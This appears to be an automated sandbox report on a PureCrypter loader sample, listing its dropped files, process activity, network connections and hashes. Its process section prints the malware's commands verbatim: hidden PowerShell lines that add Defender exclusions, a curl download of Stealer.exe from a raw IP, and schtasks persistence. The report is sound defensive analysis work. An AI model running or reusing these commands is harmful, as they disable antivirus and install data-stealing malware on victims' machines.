Malware Analysis Report

2024-11-13 16:42

Sample ID 230228-bbj2jsge5y
Target c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b
SHA256 c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b
Tags
purecrypter downloader loader
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b

Threat Level: Known bad

The file c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b was found to be: Known bad.

Malicious Activity Summary

purecrypter downloader loader

PureCrypter

Checks computer location settings

Executes dropped EXE

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-02-28 00:58

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-02-28 00:58

Reported

2023-02-28 01:00

Platform

win7-20230220-en

Max time kernel

128s

Max time network

140s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe"

Signatures

PureCrypter

loader downloader purecrypter

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Administrator\Desktop\DROP\noicon.exe N/A
N/A N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Administrator\Desktop\DROP\noicon.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 308 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 308 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 308 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 308 wrote to memory of 1116 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 308 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 308 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 308 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 308 wrote to memory of 1772 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 308 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Windows\system32\cmd.exe
PID 308 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Windows\system32\cmd.exe
PID 308 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Windows\system32\cmd.exe
PID 1772 wrote to memory of 1664 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 1772 wrote to memory of 1664 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 1772 wrote to memory of 1664 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 1772 wrote to memory of 1664 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 1664 wrote to memory of 1672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1672 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1916 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1916 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1916 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1664 wrote to memory of 1916 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe

"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe"

C:\Users\Administrator\Desktop\DROP\noicon.exe

"C:\Users\Administrator\Desktop\DROP\noicon.exe"

C:\Users\Administrator\Desktop\DROP\Stearler.exe

"C:\Users\Administrator\Desktop\DROP\Stearler.exe"

C:\Windows\system32\cmd.exe

"cmd.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\7zS24D0.tmp\Testobfusc.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionExtension ".vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads"

Network

Country Destination Domain Proto
US 8.8.8.8:53 cents-ability.org udp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp
US 198.187.31.39:443 cents-ability.org tcp

Files

memory/308-54-0x0000000000C80000-0x0000000000DC8000-memory.dmp

memory/308-55-0x00000000001C0000-0x0000000000204000-memory.dmp

memory/308-57-0x000000001A770000-0x000000001A820000-memory.dmp

memory/308-56-0x000000001AD20000-0x000000001ADA0000-memory.dmp

C:\Users\Administrator\Desktop\DROP\noicon.exe

MD5 fdd4cd11d278dab26c2c8551e006c4ed
SHA1 f0ef434d38fa11f8bc38cbc90874ca582867b214
SHA256 80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05
SHA512 9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

C:\Users\Administrator\Desktop\DROP\noicon.exe

MD5 fdd4cd11d278dab26c2c8551e006c4ed
SHA1 f0ef434d38fa11f8bc38cbc90874ca582867b214
SHA256 80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05
SHA512 9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

C:\Users\Administrator\Desktop\DROP\Stearler.exe

MD5 c07c33c5e7c12107f2788280ad31c391
SHA1 8e14f012e98c39d6b20fe14a7532f299e5c001a0
SHA256 389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967
SHA512 8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

C:\Users\Administrator\Desktop\DROP\Stearler.exe

MD5 c07c33c5e7c12107f2788280ad31c391
SHA1 8e14f012e98c39d6b20fe14a7532f299e5c001a0
SHA256 389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967
SHA512 8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

memory/1116-75-0x00000000000D0000-0x00000000000D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zS24D0.tmp\Testobfusc.bat

MD5 40e65da3d99568737a62d30060539f23
SHA1 c5b616eb054a850b019da2d19e42b82575a269c1
SHA256 a9ea79963c53c3756fc752d4a2978a86de6038fc728fabc200bc87cd938406e5
SHA512 ef19c1001097545955c2d4c3de48bcda7633459577cf3f54653ae0c89fea5e61e763645bdcd2027c303522c98a02893df1f7195b3d26d38a808e7cc78a5c325d

C:\Users\Admin\AppData\Local\Temp\7zS24D0.tmp\Testobfusc.bat

MD5 40e65da3d99568737a62d30060539f23
SHA1 c5b616eb054a850b019da2d19e42b82575a269c1
SHA256 a9ea79963c53c3756fc752d4a2978a86de6038fc728fabc200bc87cd938406e5
SHA512 ef19c1001097545955c2d4c3de48bcda7633459577cf3f54653ae0c89fea5e61e763645bdcd2027c303522c98a02893df1f7195b3d26d38a808e7cc78a5c325d

memory/1116-91-0x0000000004C60000-0x0000000004CA0000-memory.dmp

memory/1672-92-0x0000000002680000-0x00000000026C0000-memory.dmp

memory/1672-93-0x0000000002680000-0x00000000026C0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 884db6995397cb58a2367b6e2f67960d
SHA1 aec86319e3fa0dc1c1e58d2c9809a98bfb413299
SHA256 4c9972709a612ebfbb1106ea60e07dff60dcee841199d31eb3ad3c076cdd43b7
SHA512 5b8f696b9ed928222daf430ad810a395bc428eb18c19d9c3cdae522e9f64b6c8744747f8a47714b6c91a4b6cc6625fa5c1510263c9d1daa35303446816bbe7f9

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NACMY9P75F59OJ522P1Q.temp

MD5 884db6995397cb58a2367b6e2f67960d
SHA1 aec86319e3fa0dc1c1e58d2c9809a98bfb413299
SHA256 4c9972709a612ebfbb1106ea60e07dff60dcee841199d31eb3ad3c076cdd43b7
SHA512 5b8f696b9ed928222daf430ad810a395bc428eb18c19d9c3cdae522e9f64b6c8744747f8a47714b6c91a4b6cc6625fa5c1510263c9d1daa35303446816bbe7f9

memory/1916-99-0x0000000002780000-0x00000000027C0000-memory.dmp

memory/1916-100-0x0000000002780000-0x00000000027C0000-memory.dmp

memory/1664-115-0x0000000000240000-0x0000000000241000-memory.dmp

memory/1116-117-0x0000000004C60000-0x0000000004CA0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-02-28 00:58

Reported

2023-02-28 01:00

Platform

win10v2004-20230220-en

Max time kernel

83s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe"

Signatures

PureCrypter

loader downloader purecrypter

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Users\Administrator\Desktop\DROP\Stearler.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Administrator\Desktop\DROP\noicon.exe N/A
N/A N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Administrator\Desktop\DROP\noicon.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4392 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 4392 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 4392 wrote to memory of 1408 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\noicon.exe
PID 4392 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 4392 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 4392 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Users\Administrator\Desktop\DROP\Stearler.exe
PID 4392 wrote to memory of 2376 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Windows\SYSTEM32\cmd.exe
PID 4392 wrote to memory of 2376 N/A C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe C:\Windows\SYSTEM32\cmd.exe
PID 2376 wrote to memory of 212 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2376 wrote to memory of 212 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2376 wrote to memory of 2188 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 2376 wrote to memory of 2188 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\schtasks.exe
PID 952 wrote to memory of 4560 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 952 wrote to memory of 4560 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 952 wrote to memory of 4560 N/A C:\Users\Administrator\Desktop\DROP\Stearler.exe C:\Windows\SysWOW64\cmd.exe
PID 4560 wrote to memory of 4552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 4552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 4552 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 5056 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 5056 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 5056 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4560 wrote to memory of 4780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4560 wrote to memory of 4780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe
PID 4560 wrote to memory of 4780 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\curl.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe

"C:\Users\Admin\AppData\Local\Temp\c8f27a841f726761652f562c1e2c61b1eb4490c8b7bdd264f6fd08b8e5d92e4b.exe"

C:\Users\Administrator\Desktop\DROP\noicon.exe

"C:\Users\Administrator\Desktop\DROP\noicon.exe"

C:\Users\Administrator\Desktop\DROP\Stearler.exe

"C:\Users\Administrator\Desktop\DROP\Stearler.exe"

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe"

C:\Windows\system32\schtasks.exe

schtasks /create /tn "testM" /xml "C:\Users\Admin\AppData\Local\Temp\f1.xml"

C:\Windows\system32\schtasks.exe

schtasks /create /tn "test" /xml "C:\Users\Admin\AppData\Local\Temp\f2.xml"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS98BA.tmp\Testobfusc.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionExtension ".vbs"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -w hidden -Command Add-MpPreference -ExclusionPath "C:\Users\Public\Downloads"

C:\Windows\SysWOW64\curl.exe

curl http://140.82.34.147/Stealer.exe -o C:\Users\Public\Downloads\Stealer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.3.197.209.in-addr.arpa udp
US 8.8.8.8:53 29.220.184.93.in-addr.arpa udp
US 8.8.8.8:53 cents-ability.org udp
US 198.187.31.39:443 cents-ability.org tcp
US 8.8.8.8:53 39.31.187.198.in-addr.arpa udp
US 8.8.8.8:53 29.237.18.117.in-addr.arpa udp
DE 140.82.34.147:80 tcp
NL 178.79.208.1:80 tcp
US 13.89.179.9:443 tcp
US 8.8.8.8:53 161.252.72.23.in-addr.arpa udp
NL 178.79.208.1:80 tcp
NL 178.79.208.1:80 tcp
US 198.187.31.39:443 cents-ability.org tcp
NL 173.223.113.164:443 tcp

Files

memory/4392-133-0x00000000001B0000-0x00000000002F8000-memory.dmp

memory/4392-134-0x0000000000AC0000-0x0000000000B36000-memory.dmp

memory/4392-135-0x0000000000850000-0x000000000086E000-memory.dmp

memory/4392-136-0x000000001C580000-0x000000001C590000-memory.dmp

memory/4392-137-0x000000001C590000-0x000000001C5B2000-memory.dmp

C:\Users\Administrator\Desktop\DROP\noicon.exe

MD5 fdd4cd11d278dab26c2c8551e006c4ed
SHA1 f0ef434d38fa11f8bc38cbc90874ca582867b214
SHA256 80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05
SHA512 9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

C:\Users\Administrator\Desktop\DROP\noicon.exe

MD5 fdd4cd11d278dab26c2c8551e006c4ed
SHA1 f0ef434d38fa11f8bc38cbc90874ca582867b214
SHA256 80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05
SHA512 9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

C:\Users\Administrator\Desktop\DROP\Stearler.exe

MD5 c07c33c5e7c12107f2788280ad31c391
SHA1 8e14f012e98c39d6b20fe14a7532f299e5c001a0
SHA256 389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967
SHA512 8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

C:\Users\Administrator\Desktop\DROP\noicon.exe

MD5 fdd4cd11d278dab26c2c8551e006c4ed
SHA1 f0ef434d38fa11f8bc38cbc90874ca582867b214
SHA256 80d4414ca76e050007cb39c7fb598e1828ad168bea5725fb5466ee9388d6fa05
SHA512 9333eaba36a12bb0ab260c553bbed6ddb872fc42b05a2cf3552702c298b3d01d653467a00caa1b5232e9a828dce3810e67e08d1f2e245e4356248bf337fb96bb

C:\Users\Administrator\Desktop\DROP\Stearler.exe

MD5 c07c33c5e7c12107f2788280ad31c391
SHA1 8e14f012e98c39d6b20fe14a7532f299e5c001a0
SHA256 389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967
SHA512 8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

C:\Users\Administrator\Desktop\DROP\Stearler.exe

MD5 c07c33c5e7c12107f2788280ad31c391
SHA1 8e14f012e98c39d6b20fe14a7532f299e5c001a0
SHA256 389b207183e0ea0fbc4beac9155486c5e6641d20aebd49eeaaa360dde72b7967
SHA512 8109a67532de5e35036680b66e2bdf06aa5067f1e601c4cf46f4c21721dc9dc3b2a65fcb77e01b74fa4246e1121ee058d81e8ec20c71dd8a2d906a73af88b0a1

memory/1408-165-0x00000000002D0000-0x00000000002D8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\f1.xml

MD5 e72ae2ea8505b32bd7b3538c336922ab
SHA1 7eeb1c8c12227f6ea22305446a677aef747ad3ca
SHA256 a764aaaca9c6c4f5f9057fe5ad6da7afc953302afe877d1877c8a08828786e23
SHA512 b5d90006efb0200c8c7396229326fc380e5c6732786e9d57c4d3352e8157faa1a829d79b1532aa6e84ba816f55d476cd57ebcc448e00467186a59bf3eb2f0dd6

C:\Users\Admin\AppData\Local\Temp\f2.xml

MD5 d88899226309bb38cea2e30d33dc4b88
SHA1 14432e6088ddcf82a92d6137ac7707932c9a2ddf
SHA256 0d23f8be57f264e7a5b0c2f0606608df3bf69270c76cf21e4f0869348cfff1a2
SHA512 8d954bb52537c181bf1d4a7797e930264088803b679c86260e0fcbe5cdb9b57c72bfd254f349d39842dcb44911d3019f576bd1321bb11da6f05bd0859bdf87d6

memory/1408-168-0x0000000004C50000-0x0000000004C60000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zS98BA.tmp\Testobfusc.bat

MD5 40e65da3d99568737a62d30060539f23
SHA1 c5b616eb054a850b019da2d19e42b82575a269c1
SHA256 a9ea79963c53c3756fc752d4a2978a86de6038fc728fabc200bc87cd938406e5
SHA512 ef19c1001097545955c2d4c3de48bcda7633459577cf3f54653ae0c89fea5e61e763645bdcd2027c303522c98a02893df1f7195b3d26d38a808e7cc78a5c325d

memory/4552-172-0x0000000004BD0000-0x0000000004C06000-memory.dmp

memory/4552-173-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/4552-174-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/4552-175-0x0000000005330000-0x0000000005958000-memory.dmp

memory/4552-176-0x00000000051C0000-0x00000000051E2000-memory.dmp

memory/4552-177-0x00000000059D0000-0x0000000005A36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l0zuycsk.brc.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
